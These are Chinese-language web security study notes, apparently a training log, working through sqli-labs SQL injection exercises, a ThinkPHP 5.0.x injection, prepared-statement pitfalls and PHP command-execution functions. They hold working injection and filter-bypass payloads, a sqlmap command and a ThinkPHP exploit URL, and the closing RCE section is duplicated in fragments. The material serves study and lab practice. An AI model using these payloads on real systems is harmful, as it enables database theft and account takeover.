- [第5天 SQL注入基础](#第5天 SQL注入基础)
- [第6天 HTTP头注入与绕过](#第6天 HTTP头注入与绕过)
- [一、Less-18 User-Agent注入](#一、Less-18 User-Agent注入)
- [二、Less-19 Referer注入](#二、Less-19 Referer注入)
- [三、Less-20 Cookie注入](#三、Less-20 Cookie注入)
- [四、Less-23 注释符绕过](#四、Less-23 注释符绕过)
- [五、Less-24 二次注入](#五、Less-24 二次注入)
- [六、Less-25 双写绕过](#六、Less-25 双写绕过)
- [七、Less-26 空格过滤绕过](#七、Less-26 空格过滤绕过)
- [八、Less-27 大小写绕过](#八、Less-27 大小写绕过)
- 九、SQLMap使用
- [第7天 宽字节与堆叠注入](#第7天 宽字节与堆叠注入)
- [一、Less-32 宽字节注入](#一、Less-32 宽字节注入)
- [二、Less-37 POST宽字节](#二、Less-37 POST宽字节)
- [三、Less-38 堆叠注入](#三、Less-38 堆叠注入)
- 四、编码对比
- [第8天 ThinkPHP漏洞](#第8天 ThinkPHP漏洞)
- [一、ThinkPHP 5.0.13-5.0.15 SQL注入](#一、ThinkPHP 5.0.13-5.0.15 SQL注入)
- [第9天 预编译绕过](#第9天 预编译绕过)
- [第10天 RCE与综合漏洞](#第10天 RCE与综合漏洞)
第5天 SQL注入基础
一、核心函数汇总
截断函数
substr(str, start, length)/substring()left(str, length)/right(str, length)mid(str, start, length)
判断函数
length(str)- 返回字符串长度ascii(char)- 返回字符的ASCII值if(condition, true_val, false_val)- 条件判断
关键数据库表
information_schema:
SCHEMATA- 记录所有数据库名TABLES- 记录所有表名COLUMNS- 记录所有列名
二、Less-1 联合查询注入
完整复现步骤:
页面报错,确认存在单引号注入
-
判断列数
?id=1' order by 1--+
?id=1' order by 2--+
?id=1' order by 3--+ # 正常显示
?id=1' order by 4--+ # 报错,确定为3列 -
判断回显位置
?id=-1' union select 1,2,3--+
回显位置为2和3
-
获取当前数据库
?id=-1' union select 1,database(),3--+
得到:security
-
获取所有表名
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
得到:emails,referers,uagents,users
-
获取users表的列名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
得到:id,username,password
-
获取账号密码
?id=-1' union select 1,group_concat(username,0x3a,password),3 from users--+

三、报错注入
updatexml()函数
http://localhost/sqli/Less-1/?id=1' and updatexml(1,concat(0x7e,user(),0x7e),2)--+
常用报错注入函数
- extractvalue() - XPath语法错误,最多32位
- updatexml() - XPath错误,最多32位
- floor()+rand()+group by - 主键重复报错
- exp() - 数值溢出(需MySQL 5.5.5+)
- geometrycollection()/multipoint()/polygon() - 几何函数报错
- NAME_CONST() - 重复列名报错

四、Less-5 布尔盲注
页面只有两种状态(正确/错误),需要通过布尔判断逐个字符获取数据。
思路
- 猜测数据库名长度:
?id=1' and length(database())=8--+ - 逐个猜解字符:
?id=1' and ascii(substr(database(),1,1))=115--+ - 使用Burp Intruder或Python脚本自动化
五、信息收集技巧
子域名查询工具
- layer子域名挖掘机
- 子域名破解工具

第6天 HTTP头注入与绕过
一、Less-18 User-Agent注入
注入点在User-Agent头:
POST /sqli/Less-18/
User-Agent: ' OR extractvalue(1,concat('!',database())) OR '
uname=admin&passwd=123&submit=Submit
二、Less-19 Referer注入
注入点在Referer头,方法同Less-18
三、Less-20 Cookie注入
Cookie值直接带入SQL查询:
Cookie: uname=admin' union select 1,user(),3#


四、Less-23 注释符绕过
过滤了#和--+,使用;%00或闭合方式绕过:
?id=-1' union select 1,2,3 or '1'='1
五、Less-24 二次注入
完整步骤:
-
注册恶意账号
- 用户名:
admin'# - 密码:123456
- 用户名:
-
登录admin'# 获取session
-
修改密码
- 新密码改为:pass888
-
原理分析
SQL语句为:
UPDATE users SET PASSWORD='$pass' WHERE username='$username'实际执行:
UPDATE users SET PASSWORD='pass888' WHERE username='admin'#'
#注释了后面的内容,修改的是admin的密码
六、Less-25 双写绕过
过滤了or和and,使用双写绕过:
?id=-1' union select 1,group_concat(username,0x3a,passwoorrd),3 from users--+
七、Less-26 空格过滤绕过
过滤空格,使用以下方式替代:
-
/**/- 注释代替空格 -
%0a- 换行符 -
()- 括号替代运算符?id=1' &&(updatexml(1,concat(0x7e,database(),0x7e),1))&&('1')='1

八、Less-27 大小写绕过
?id=100'%0aUniOn%0ASElecT%0a1,2,3;%00


九、SQLMap使用
sqlmap -u "url" --level=5 --risk=3 --technique=BEUSTQ
--level: 测试级别(1-5),越高payload越多
--risk: 风险级别(1-3),3会有基于or的注入
--technique: 指定注入技术
B: Boolean-based blind
E: Error-based
U: Union query-based
S: Stacked queries
T: Time-based blind
Q: Inline queries

第7天 宽字节与堆叠注入
一、Less-32 宽字节注入
原理:
GBK编码中,两个字节代表一个汉字。当输入%df'时:
%df与\(0x5C)组合成%df%5c- 这个组合在GBK中被识别为汉字
運 - 单引号逃逸出来
复现步骤:
?id=-1%df' union select 1,user(),3--+
二、Less-37 POST宽字节
uname=admin%df'#
passwd=123


三、Less-38 堆叠注入
原理:
堆叠注入可以执行多条SQL语句,使用;分隔。
示例:
?id=1';insert into users(id,username,password) values(100,'test','123')--+
限制:
- 不适用union/select/insert
- 适用于文件操作、修改数据等场景
四、编码对比
| 编码方式 | 特点 |
|---|---|
| GBK | 汉字占2字节,固定长度 |
| UTF-8 | 可变长编码,汉字占3字节 |
| Unicode | 不可变长 |
第8天 ThinkPHP漏洞
一、ThinkPHP 5.0.13-5.0.15 SQL注入
环境搭建
-
下载ThinkPHP 5.0.15源码
-
Windows环境配置:
- 将
framework目录重命名为thinkphp - 配置虚拟主机指向
public目录
- 将
-
虚拟主机配置:
apache
<VirtualHost *:80>
DocumentRoot "D:/tp5/public"
ServerName tp5.com
</VirtualHost>
漏洞复现
http://tp5.com/index/index?name[0]=inc&name[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&name[2]=1
第9天 预编译绕过
一、MySQL预编译机制
真预编译
流程:建立连接 → 构建语法树 → 执行
- SQL语句结构与参数完全分离
- 无法进行SQL注入
- 常用于生产环境
虚假预编译
- 只是字符串拼接
- 16进制编码可能被绕过
- 存在宽字节注入风险
预编译失效场景
-
ORDER BY子句
- ORDER BY使用标识符,不是数据值
- 预编译不适用于此位置
- 解决:使用白名单验证
-
GROUP BY子句
- 同ORDER BY

二、MySQL绕过技术总结
- 编码绕过:16进制、URL编码
- 注释绕过 :
/**/、/*!*/ - 大小写绕过
- 双写绕过
- 特殊字符绕过 :
%0a、%09 - 宽字节绕过
三、未授权访问
file-open相关问题:
- 配置不当导致数据库未授权访问
- 默认弱口令问题
第10天 RCE与综合漏洞
一、PostgreSQL注入
simple_query协议
- 有参数绑定机制
- 存在请求体溢出漏洞
- 需要大内存环境,实际复现困难
二、请求走私
通过构造特殊HTTP请求绕过WAF检测
三、DataEase
数据分析平台的漏洞利用
参考文档:
https://www.cnblogs.com/cwkiller/p/18957721
四、RCE远程命令执行
PHP常用命令执行函数
| 函数 | 说明 |
|---|---|
system() |
直接执行命令并输出结果 |
exec() |
执行命令,需echo输出 |
shell_exec() |
执行命令,返回结果字符串 |
passthru() |
直接输出命令执行结果 |
proc_open() |
进程控制,更灵活 |
popen() |
打开进程管道 |
eval() |
执行PHP代码 |
assert() |
执行PHP代码(PHP 7中变更) |
回调函数
call_user_func()call_user_func_array()array_map()usort()/uasort()
绕过disable_functions
- LD_PRELOAD:通过环境变量劫持系统函数
- Shellshock:利用bash破壳漏洞
- FFI:PHP 7.4+外部函数接口
- COM组件(Windows)
- ImageMagick
- GC UAF:PHP垃圾回收利用
curl命令执行
php
system('curl -V');
| 执行PHP代码 |
| assert() | 执行PHP代码(PHP 7中变更) |
回调函数
call_user_func()call_user_func_array()array_map()usort()/uasort()
绕过disable_functions
- LD_PRELOAD:通过环境变量劫持系统函数
- Shellshock:利用bash破壳漏洞
- FFI:PHP 7.4+外部函数接口
- COM组件(Windows)
- ImageMagick
- GC UAF:PHP垃圾回收利用
curl命令执行
php
system('curl -V');